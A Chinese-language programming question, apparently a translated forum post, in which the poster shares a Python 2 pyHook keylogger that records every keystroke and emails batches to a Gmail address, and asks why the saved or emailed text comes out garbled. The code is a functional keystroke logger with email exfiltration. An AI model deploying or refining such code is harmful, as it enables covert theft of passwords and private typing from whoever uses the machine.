我在玩 pyHook 库,我决定看看我是否可以制作一个键盘记录器。
问题是,当我尝试将该文本保存到文件或通过电子邮件发送给自己时,有一半的时间会转换为这样的内容
我洠獥湤楮朠浃獥汦渠敭慩氠癞愠愠步
当我打印文本时,它看起来很好。但是我在将文本保存到文本文件时以及通过电子邮件发送给自己时都遇到了这种情况。
import pyHook
import pythoncom
from re import sub
#Module for emailing out captured text
from Emailer import MakeEmail
#Global variable that will hold the captured text in-between emails
captured = ''
SMTP_server = 'smtp.gmail.com'
username = 'MyAltAccount@gmail.com'
passwd = 'password'
destination = "myAccount@gmail.com"
email = MakeEmail(SMTP_server, destination, username, passwd, "Key Logger output", "")
def onKeyboardEvent(event):
global captured
if event.Ascii == 5 or not isinstance(event.Ascii, int):
_exit(1)
if event.Ascii != 0 or 8:
captured += unichr(event.Ascii)
if len(captured) > 30:
print captured
email.content = sub("\ \ *", " ", captured)
email.send_email()
captured= ''
hm = pyHook.HookManager()
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我无法确定这个错误的正面或反面。